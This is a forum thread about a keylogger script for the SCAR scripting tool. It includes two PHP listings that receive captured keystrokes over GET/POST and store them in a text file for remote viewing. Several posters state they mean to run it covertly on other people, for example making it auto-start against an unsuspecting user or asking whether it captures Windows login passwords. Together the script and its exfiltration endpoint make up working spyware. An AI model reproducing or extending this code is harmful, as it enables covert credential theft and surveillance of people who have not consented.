WB Ron!
btw, I need your help in using the heavy version, let's talk on msn?
hugolrd@hotmail.com
thanks
WB Ron!
btw, I need your help in using the heavy version, let's talk on msn?
hugolrd@hotmail.com
thanks
Awesome! Thanks for posting
Does anyone know if it's possible to make it auto-execute on startup? (you could put SCAR is the registry key RunOnce, but I don't think it accepts command line parameters).
Other ideas?
EDIT: I figured out a way, downloaded a macro recorder that can compile to exe's .. the window flashes up for a second but the person I plan to use it on ought to be stupid enough :P
okay works great but my computer randomly restarts... bug in my system... and all data is lost is there a way i can set it to update the file every 5 min that way if computer is shut down it still has the data....
p.s bug is caused by porn sites that are somehow in my history for the time i'm at work??? people need to stop getting on my computer!!!!
can you help or is it possible to update the .txt file without overriding it
gothguy, good idea. I was actually thinking of implementing that in this next version. Because of your comment, I think I will.![]()
The one problem would be that the user MUST make the file ALWAYS ALLOWED in the SCAR Firewall rules. But I'll just make a notification of that and .. well you know. I'll put it in the next version.
and agent83, I'm not sure, but I think it is possible. I remember reading something about SCAR having commandline parameters. I think it's already implemented in the new SCAR 3.* versions.
hey hugolord! I hope we can talk on MSN, but I don't see you on.![]()
yay ron took/well already had the idea... well who wouldn't have it set to always i mean that is if you only get scripts from srl... srl FTW/Ron FTW.... but yes all they would have to do is set it to run once during ask and see what it is trying to connect to... well thats at least what i do.....
nice! i made somthing close to this once, ofcourse not as awsome as yours, but it was when i was a noob, excelente
FIrst time i was using this script ..and it was so easy. to run , use , and understand........AND IT WORKS SO WELL
I have a question.
Would this keylogger work to steal the password for Windows Operating System Beginning page, where it shows all the usernames, and you click one to log on.
If the account is on "switched user" or logged on, and i'm running the keylogger, would it still steal the password?
My brother made a keylogger with Flash, but i'm sure this is better.
Why dont you just auto up a level 100 character.
I have a level 110 character, they're not that great lol.
I'm starting over on a level 80 guy.
To auto up on him.
this is great work, i made a simple keylogger to, but it printed out the characters in alphabetic order
Nice: Line #1: omg thiS ROcKs maAN
whats the purpose of this
Hey sorry for the lack of posts and info. I've been busy. Finals coming up for 1st semester courses and I've been studying a lot. I will be able to work on this script more this month and I should be releasing a merged version with the features of Heavy and the stability of Lite.
The new script will be based on the Lite version and there will only be 1 version released.![]()
Argh. Writing to a webpage seems to freeze up the script. I'm tempted to assume it's something wrong with my code, but manually inputting GET variables works perfectly.:
Edit: Also, it would be nice if it saved to file every x minutes so that if someone shuts the computer off it still saves a bit. I'm gonna try to do that.PHP Code:if(isset($_GET['k'])) {
$string = $_GET['k'];
date_default_timezone_set('EST');
$fname = "KeyLog:".date('Y-m-d,H:i:s').".php";
$handle = fopen($fname,"w");
fwrite($handle,$string);
fclose($handle);
EDIT:Wewt. After being sorely tempted to put my head through my monitor about 12 times, I got the web thing to work. I replaced the $_GET method with $_POST on my site's end and used PostHTTPPageEx() in SCAR.
Ron you should soo keep this up it is amazing! i just tried it and earned a skiller!
cheers
T ~ M
thanks keylogger heavy is working perfect for me =)
ron you masta
Nice Script man, although i dont think i need it lol
Updated to beta .3. I don't have enough time to test it but I hope some of the users could inform me of any bugs that may come up. Thank you.
Screenshot taker was removed but will be added real soon and so will a few other features.
Added php/mysql .txt file if someone wants to send key strokes to a website. All you need to do is setup the database. Sorry - probably the hardest part because I didn't include an SQL file.
After the database is setup, you also need to setup the variables at the top of the file. Such as the database, the username, etc.
After that, you should be able to successfully send keystrokes and have the website log the keystrokes into a database and display all the log files.
Another script will be written for people without access to a MySQL database.
Another good release, thanks for making this, it's actually quite interesting. I like how this version blends the best of light and heavy.
A quick, untested one that I whipped up for flatfile usage. Tell me what you think?
PHP Code:<?php
// directory settings
$file = 'keylog.txt';
// keys POST variable that holds all the key strokes
$keys = $_POST['keys'];
// id GET variable so if you want to view the keylogger, you can pick which log.
$id = $_GET['id'];
// if $keys is set then add it to the database.
if (isset($keys))
{
//check to see what last id is
$checkstring = file_get_contents($file);
$checkarr = explode('*BREAK*',$checkstring);
$last = end($checkarr);
$checkarr2 = explode('-',$last);
$last_id = trim($checkarr2[0]);
$theid = $last_id + 1;
$date = date('M jS, Y \at h:i:s A');
$handle = fopen($file,'a+');
$filestring = $theid."-KeyLog".$date."-".$keys."*BREAK*";
fwrite($fhandle,$filestring);
fclose($fhandle);
echo "Added log to file";
}
// if $id is set then check if it exists and display it.
elseif (isset($id) && is_numeric($id))
{
$string = file_get_contents($file);
$array = explode('*BREAK*',$string);
foreach($array as $key => $value)
{
$arr = explode('-',$value);
if(trim($arr[0]) == $id)
{
$thekey = $key;
}
}
if(isset($thekey))
{
echo $array[$thekey];
}else{
echo "Invalid id!";
}
}
// otherwise show a list of the available log files.
else
{
$string = file_get_contents($file);
$array = explode('*BREAK*',$string);
print "Available logs:<br>";
foreach($array as $key => $value)
{
$arr = explode('-',$value);
echo "Id:".$arr[0]."Name:".$arr[1]."<br>";
}
}
?>
I'm not sure how it works man haha. I understand some of it, but I don't get the area where you want to explode it at the point where it says *BREAK*.
It saves all of the keylogger's contents to a single file rather than use a MySQL database, right?
But if it works, then nice work! Try to test it first though. Thank you for the comment.![]()
Hey, this script does work with GET method, if you input any values directly. However, for whatever reason, changing Info.Lines into Text inserts weird square characters between a lot of the words, which buggers up the page.![]()
First the text file, with the requisite placeholder entry.
Now the script.Code:0-KeyLog date goes here-keys go here *BREAK*
PHP Code:<?php
//IMPORTANT:: ***Set your timezone !!!
$timezone = "America/Montreal"; //see here for zones: http://www.theprojects.org/dev/zone.txt
// directory settings
$file = 'keylog.txt';
// keys POST variable that holds all the key strokes
$keys = $_GET['keys'];
// id GET variable so if you want to view the keylogger, you can pick which log.
$id = $_GET['id'];
// if $keys is set then add it to the file.
if (isset($keys))
{
//check to see what last id is
$checkstring = file_get_contents($file);
$checkarr = explode('*BREAK*',$checkstring);
foreach ($checkarr as $key => $value) {
$str = trim($value);
if (empty($str)) {
unset($checkarr[$key]);
}
}
$last = end($checkarr);
$checkarr2 = explode('-',$last);
$theid = $checkarr2[0];
settype($theid,'integer');
$theid++;
putenv("TZ=".$timezone);
$date = date('M jS, Y \a\t h:i:s A');
$fhandle = fopen($file,'a+');
$filestring = $theid."-KeyLog ".$date."-".$keys."*BREAK*";
fwrite($fhandle,$filestring);
fclose($fhandle);
echo "Added log to file";
echo "<br><br><a href='index.php'>Back</a>";
}
// if $id is set then check if it exists and display it.
elseif (isset($id) && is_numeric($id))
{
$string = file_get_contents($file);
$array = explode('*BREAK*',$string);
foreach($array as $key => $value)
{
$arr = explode('-',$value);
if(trim($arr[0]) == $id)
{
$thekey = $key;
}
}
if(isset($thekey))
{
$array_2 = explode("-",$array[$thekey]);
print $array_2[2];
echo "<br><br><input type=button value='Back' onClick='history.go(-1)'>";
echo "<br><a href='index.php?delete=$id'>Delete</a>";
}else{
echo "Invalid id!";
}
}
// otherwise show a list of the available log files.
else
{
$string = file_get_contents($file);
$array = explode('*BREAK*',$string);
print "Available logs:<br>";
foreach($array as $key => $value)
{
$arr = explode('-',$value);
echo "Id: ".$arr[0]." <a href='index.php?id=$arr[0]'>Name: ".$arr[1]."</a><br>";
}
if(isset($_GET['delete'])) {
$delete = $_GET['delete'];
$string = file_get_contents($file);
$array = explode('*BREAK*',$string);
foreach($array as $key => $value)
{
$arr = explode('-',$value);
if(trim($arr[0]) == $delete)
{
unset($array[$key]);
}
}
$string_2 = implode('*BREAK*',$array);
$fh = fopen($file,'w');
fwrite($fh, $string_2);
fclose($fh);
}
}
?>
There are currently 1 users browsing this thread. (0 members and 1 guests)